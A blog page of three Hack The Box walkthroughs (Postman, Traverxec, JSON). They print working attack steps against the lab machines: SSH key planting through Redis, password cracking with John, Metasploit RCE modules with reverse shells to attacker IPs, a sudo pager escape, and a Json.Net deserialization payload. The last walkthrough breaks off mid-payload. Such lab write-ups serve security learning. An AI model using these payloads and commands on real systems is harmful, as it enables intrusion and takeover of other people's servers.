Posts Tagged ‘htb’

Postman.HTB

Posted: 2020/04/11 in How To's
Tags: , , ,

Walkthru for Postman

This is a detailed walk-thru for Postman.htb, written by dR1PPy.
postman.htb

A Good Challenge is Presented by Postman, and learning how to attack ReDis Services. Much thanks to TheCyberGeek

Enumeration

Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.160 22 tcp ssh open OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
10.10.10.160 80 tcp http open Apache httpd 2.4.29 (Ubuntu)
10.10.10.160 6379 tcp redis open Redis key-value store 4.0.9
10.10.10.160 10000 tcp http open MiniServ 1.910 Webmin httpd
10.10.10.160 10000 udp ndmp open

Attacking Redis Server

We find the Redis service running on port 6379

10.10.10.160 6379 tcp redis open Redis key-value store 4.0.9

We find a working exploit and a few tools to execute the exploit

https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html
https://github.com/Avinash-acid/Redis-Server-Exploit

After some trial and error we see the tool keeps failing when setting the directory for our SSH key.

This must mean we need to find another local user to store our key.
We install the redis-server locally and review some of the default settings.

Gaining Access

In /etc/passwd we see the redis users is created but has a shell set to nologin
We also find the default install in /var/lib/redis/

Some more enumeration on the redis server shows us something interesting.
By default the redis user has nologin.
But we see the default dir is set to an SSH directory in redis home.

redis-cli -h postman.htb
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"

This must mean redis user is allowed to login from SSH on the remote server.
We try to use this for our exploit.

redis-cli -h postman.htb flushall
(echo -e "\n\n"; cat ~/.ssh/postman.pub; echo -e "\n\n") > foo.txt
redis-cli -h postman.htb
config get *
(output removed for space)
config get dir (from here we see the dir is set to /var/lib/redis/.ssh/)
1) "dir"
2) "/var/lib/redis/.ssh"
config set dbfilename "authorized_keys"
save
exit

ssh -i ~/.ssh/postman redis@postman.htb

Now we have a limited shell and run our enumeration scripts.
Linux Enumeration script finds another SSH key backup readable to us.

[-] SSH keys/host information found in the following locations:
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 00:11 /opt/id_rsa.bak
-rw-rw---- 1 redis redis 683 Nov 20 16:22 /var/lib/redis/.ssh/authorized_keys

We grab the key and start to try and crack it with John.

/usr/share/john/ssh2john.py /TARGET/matt_id_rsa > /TARGET/matt_id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt /TARGET/matt_id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (/TARGET/matt_id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:09 DONE (2019-11-20 09:58) 0.1033g/s 1481Kp/s 1481Kc/s 1481KC/sa6_123..*7¡Vamos!
Session completed

We quickly verify our password as working but see we are not allowed direct SSH access.

dr1ppy@hostname:/usr/share/wordlists$ ssh -i /TARGET/matt_id_rsa matt@postman.htb
Enter passphrase for key '/TARGET/matt_id_rsa':
Connection closed by 10.10.10.160 port 22

But using the password in our existing shell we are able to su – to the user Matt.

We also see this account has access the Webmin website.
And from here we can see the webmin version listed.

Webmin version 1.910

Escalation

With this we find a useful module in Metasploit that we can use.
We do a quick verification on the required access for this exploit by accessing the package_update module

https://postman.htb:10000/package-updates/?xnavigation=1

Now we launch or exploit

use exploit/linux/http/webmin_packageup_rce
show options

Module options (exploit/linux/http/webmin_packageup_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD computer2008 yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.160 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME Matt yes Webmin Username
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.11 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port

Exploit target:

Id Name
-- ----
0 Webmin <= 1.910

Shortly after running our exploit we get a root shell.
We then upgrade our shell with python, and collect up the flag.

[*] Started reverse TCP handler on 10.10.14.11:8080
[+] Session cookie: 1ee6b5ae9fd733b39a1bfc7c6707ad71
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.11:8080 -> 10.10.10.160:52526) at 2019-11-20 11:42:41 -0700
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# cd /root
cd /root/
root@Postman:~# dir
dir
redis-5.0.0 root.txt
root@Postman:~# cat root.txt
cat root.txt

And now we have root token. Thanks for playing!

Walkthru for Traverxec

This is a detailed walk-thru for Traverxec, written by dR1PPy.
traverxec

The challenge provided by Traverxec covers a good range exploits chained with bad system administration.
In other words it provides a pretty good real world experience. Much thanks to jkr for the challenge.

Enumeration

We start with our standard NMAP scan and find the usual suspects when it comes to network services.

Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.165 22 tcp ssh open OpenSSH 7.9p1 Debian 10+deb10u1 protocol 2.0
10.10.10.165 80 tcp http open nostromo 1.9.6

Gaining Access

From our scan we note the HTTP server is Nostromo
A quick search shows us a Metasploit module that may be able to gives us a quick shell

search nostromo

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nostromo_code_exec 2019-10-20 good Yes Nostromo Directory Traversal Remote Command Execution

msf5 exploit(linux/http/webmin_packageup_rce) > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > show options

Module options (exploit/multi/http/nostromo_code_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 7007 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic (Unix In-Memory)

msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 10.10.10.165
RHOSTS => 10.10.10.165
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 10.10.14.11
LHOST => 10.10.14.11
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 7007
LPORT => 7007
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 10.10.14.11:7007
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 2 opened (10.10.14.11:7007 -> 10.10.10.165:45046) at 2019-11-20 13:53:06 -0700
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$

From here we start our enumeration.
And in the web server config we make note of a password file.

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
cat nhttpd.conf
# MAIN [MANDATORY]

servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html

# LOGS [OPTIONAL]

logpid logs/nhttpd.pid

# SETUID [RECOMMENDED]

user www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs /home
homedirs_public public_www

We confirm the file exists and contains a password hash.

cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

We paste our hash into a text file and ask John to crack it.

john --wordlist=rockyou.txt htpasswd
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me (david)
1g 0:00:01:58 DONE (2019-11-20 14:13) 0.008433g/s 89209p/s 89209c/s 89209C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed

After a few minutes we get our cracked password and our user token.

Now again from the configuration of the nhttpd.conf file we see that users /home directories are being served by the web server.
Seems we cant access the folder thru the WWW frontend directly.

We also have no luck listing items in the home folder.

www-data@traverxec:/usr/bin$ cd /home
cd /home
www-data@traverxec:/home$ ls
ls
david
www-data@traverxec:/home$ ls david/
ls david/
ls: cannot open directory 'david/': Permission denied
www-data@traverxec:/home$ ls -lha david/user.txt
ls -lha david/user.txt
-r--r----- 1 root david 33 Oct 25 16:14 david/user.txt

So it seems we can list files if we know the path & name but we can’t list all files.
Again referencing the nhttpd.conf file we see the /home is mapped to a public_www folder.

Let’s see if we can access that directly.

www-data@traverxec:/home$ ls david/public_www/
ls david/public_www/
index.html protected-file-area
www-data@traverxec:/home$ ls -lha david/public_www/protected-file-area
ls -lha david/public_www/protected-file-area
total 16K
drwxr-xr-x 2 david david 4.0K Oct 25 17:02 .
drwxr-xr-x 3 david david 4.0K Oct 25 15:45 ..
-rw-r--r-- 1 david david 45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1.9K Oct 25 17:02 backup-ssh-identity-files.tgz

We now know the proper file name to request.
Back to the web service we do some tweaking and are able to find the proper URL to the corresponding backup file.

http://traverxec.htb/~david/public_www/protected-file-area/backup-ssh-identity-files.tgz

Now we use the downloaded keys to SSH into the host and quickly get the User flag.

/usr/share/john/ssh2john.py /TARGET/david_id_rsa > /TARGET/david_id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt /TARGET/david_id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (/TARGET/david_id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:08 DONE (2019-11-21 18:49) 0.1207g/s 1732Kp/s 1732Kc/s 1732KC/sa6_123..*7¡Vamos!
Session completed

ssh -i david_id_rsa david@10.10.10.165
Enter passphrase for key 'david_id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
david@traverxec:~$ pwd
/home/david
david@traverxec:~$ ls -lha user.txt
-r--r----- 1 root david 33 Oct 25 16:14 user.txt

Privilege Escalation

A quick enumeration of the users home directory shows us a possible path to escalation.

david@traverxec:~/bin$ pwd
/home/david/bin
david@traverxec:~/bin$ ls -lha
total 16K
drwx------ 2 david david 4.0K Oct 25 16:26 .
drwx--x--x 5 david david 4.0K Oct 25 17:02 ..
-r-------- 1 david david 802 Oct 25 16:26 server-stats.head
-rwx------ 1 david david 363 Oct 25 16:26 server-stats.sh
david@traverxec:~/bin$ cat server-stats.*
.----.
.---------. | == |
Webserver Statistics and Data |.-"""""-.| |----|
Collection Script || || | == |
(c) David, 2019 || || |----|
|'-.....-'| |::::|
'"")---(""' |___.|
/:::::::::::\" "
/:::=======:::\
jgs '"""""""""""""'

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Hello SUDO, it's nice to see you again!
A quick search of GTFOBins reveals we can use this to get shell

https://gtfobins.github.io/#journalctl
https://gtfobins.github.io/gtfobins/cat/

After trying variations of the items on those pages we are unable to get a shell
But we do find that we are able to use other pager type programs to chain into which gives us more options

https://gtfobins.github.io/gtfobins/more/
https://gtfobins.github.io/gtfobins/less/

We see we are able to stop the script by chaining into less
So we try the following combination, which finally gives us our root shell access

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service && VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile

!/bin/sh

We grab our flag and enjoy a cold drink to celebrate.

Resources

Nostromo Dir Traversal RCE
https://www.rapid7.com/db/modules/exploit/multi/http/nostromo_code_exec

GTFOBins
https://gtfobins.github.io

JSON.htb

Posted: 2020/02/17 in How To's, Information Security
Tags: , ,

Walkthru for JSON.htb

This is a detailed walk-thru for JSON.htb written by dR1PPy

json.htb

JSON was a very fun machine for attacking vulnerable serialization services. This challenge has a very real world feel and was a great overall experience. Much thanks to Cyb3rb0b for putting this challenge together, also for the clever nameplay based on the popular writeup of the attack.

Enumeration

Our NMAP reveals many of the standard services so we start enumeration on them.

Not much seen from the windows side.

_Received reply to probe NBTStat (target port 137) from_ 10.10.10.158:137: 80f08400000000010000000020434b4141414141414141414141414141414141414141414141414141414141410000210001000000000065034a534f4e2020202020202020202020000400574f524b47524f55502020202020200084004a534f4e2020202020202020202020200400005056b9711e00000000000000000000000000000000000000000000000000000000000000000000000000000000

But our www enumeration reveals the following Javascript file.
http://json.htb/js/app.min.js

It looks to contain data which we work to decode.

HTTP/1.1 200 OK
Content-Type: application/javascript
Last-Modified: Thu, 23 May 2019 18:50:23 GMT
Accept-Ranges: bytes
ETag: "342ed0609811d51:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Thu, 09 Jan 2020 05:12:08 GMT
Connection: close
Content-Length: 2357

var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])

We clean it up.

"7072696E636970616C436F6E74726F6C6C6572", "2468747470", "2473636F7065", "24636F6F6B696573", "4F4175746832", "676574", "557365724E616D65", "4E616D65", "64617461", "72656D6F7665", "68726566", "6C6F636174696F6E", "6C6F67696E2E68746D6C", "7468656E", "2F6170692F4163636F756E742F", "636F6E74726F6C6C6572", "6C6F67696E436F6E74726F6C6C6572", "63726564656E7469616C73", "", "6572726F72", "696E6465782E68746D6C", "6C6F67696E", "6D657373616765", "496E76616C69642043726564656E7469616C732E", "73686F77", "6C6F67", "2F6170692F746F6B656E", "706F7374", "6A736F6E", "6E67436F6F6B696573", "6D6F64756C65"

And decode it.

"principalController", "$http", "$scope", "$cookies", "OAuth2", "get", "UserName", "Name", "data", "remove", "href", "location", "login.html", "then", "/api/Account/", "controller", "loginController", "credentials", "", "error", "index.html", "login", "message", "Invalid Credentials.", "show", "log", "/api/token", "post", "json", "ngCookies", "module"

Looks like a controller which handles the login process.
From the look of the controller we are supposed to post our auth request in JSON format to the following URL.

http://json.htb/api/token

Speaking of the login process we can clearly see it is broken as are able to see the homescreen for a second before we get redirected to the login page.
Seems to do some delayed validation on our token, maybe this is broken.

And since the name of the box is JSON, could it be that the JSON post is vulnerable?
So let’s just send a garbage post request.

An error has occurred.Object reference not set to an instance of an object.System.NullReferenceException at DemoAppExplanaiton.Controllers.AccountController.Login(Usuario login) in C:\Users\admin\source\repos\DemoAppExplanaiton\DemoAppExplanaiton\Controllers\AccountController.cs:line 24
at lambda_method(Closure , Object , Object[] )
at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.<>c__DisplayClass6_2.<GetExecutor>b__2(Object instance, Object[] methodParameters)
at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ExecuteAsync(HttpControllerContext controllerContext, IDictionary`2 arguments, CancellationToken cancellationToken)
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Controllers.ApiControllerActionInvoker.<InvokeActionAsyncCore>d__1.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Controllers.ActionFilterResult.<ExecuteAsync>d__5.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Dispatcher.HttpControllerDispatcher.<SendAsync>d__15.MoveNext()

Now let's try to post a valid request.

POST /api/token HTTP/1.1
Host: json.htb
Connection: close
Content-Length: 39
Accept: application/json, text/plain, */*
Origin: https://json.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"UserName":"admin","Password":"admin"}

We see we are given back an OAuth2 string that is encoded base 64.

HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Fri, 10-Jan-2020 07:39:10 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 10 Jan 2020 07:37:10 GMT
Connection: close
Content-Length: 0

After decoding we find the same JSON values we provided along with a few extra values.

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

We see the same cookie is provided a few requests later to access the accounts page.

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

So to recap we have found that we provide credentials, and are given those credentials back in an encoded format.
We then use that encoded token to authenticate with other pages.

I smell a deserialization attack here..
So we fuzz the fields we found around the login process.
And we find we are able to generate an error response when we fuzz the Bearer: field

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: dR1PPy
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Which spits out an error message with more info.

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 10 Jan 2020 09:07:30 GMT
Connection: close
Content-Length: 145

{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}

And there we validate our possible exploit vector.
Our OAuth2 JSON token is being deserialized by the application, using the Json.Net deserializer.

After some web searching we find a tool that will help us generate some test payloads.
https://github.com/pwntester/ysoserial.net

Lucky for us we find we don't even need to generate a payload as just modifying one of the examples allows us to test code execution.
We also run it thru a quick JSON formatter to fix some of the syntax from the example and end up with.

{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":[
"cmd",
"/c ping -n 5 10.10.14.32"
]
},
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}

We base64 encode our payload and send it as our Bearer value.

GET /api/Account/ HTTP/1.1
Host: json.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://json.htb/index.html
Bearer: ewogICAiJHR5cGUiOiJTeXN0ZW0uV2luZG93cy5EYXRhLk9iamVjdERhdGFQcm92aWRlciwgUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNSIsCiAgICJNZXRob2ROYW1lIjoiU3RhcnQiLAogICAiTWV0aG9kUGFyYW1ldGVycyI6ewogICAgICAiJHR5cGUiOiJTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLAogICAgICAiJHZhbHVlcyI6WwogICAgICAgICAiY21kIiwKICAgICAgICAgIi9jIHBpbmcgLW4gNSAxMC4xMC4xNC4zMiIKICAgICAgXQogICB9LAogICAiT2JqZWN0SW5zdGFuY2UiOnsKICAgICAgIiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiCiAgIH0KfQ==
Connection: close
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Despite an error returned from the web server the code is still executed.

sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
15:07:38.344611 IP json.htb > hostname: ICMP echo request, id 1, seq 16, length 40
15:07:38.344631 IP hostname > json.htb: ICMP echo reply, id 1, seq 16, length 40
15:07:39.350560 IP json.htb > hostname: ICMP echo request, id 1, seq 17, length 40
15:07:39.350599 IP hostname > json.htb: ICMP echo reply, id 1, seq 17, length 40
15:07:40.366236 IP json.htb > hostname: ICMP echo request, id 1, seq 18, length 40
15:07:40.366259 IP hostname > json.htb: ICMP echo reply, id 1, seq 18, length 40
15:07:41.384059 IP json.htb > hostname: ICMP echo request, id 1, seq 19, length 40
15:07:41.384093 IP hostname > json.htb: ICMP echo reply, id 1, seq 19, length 40
15:07:42.398531 IP json.htb > hostname: ICMP echo request, id 1, seq 20, length 40
15:07:42.398566 IP hostname > json.htb: ICMP echo reply, id 1, seq 20, length 40

Gaining Shell Access

Lets use our new execution method to get ourselves a quick shell.

use exploit/windows/misc/hta_server

Module options (exploit/windows/misc/hta_server):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.10.14.32 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.32 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port

exploit -j -z
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.32:8080
msf5 exploit(windows/misc/hta_server) > [*] Using URL: http://10.10.14.32:80/ppzHaeCjjlJw.hta

Now we use this URL in our attack.

{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
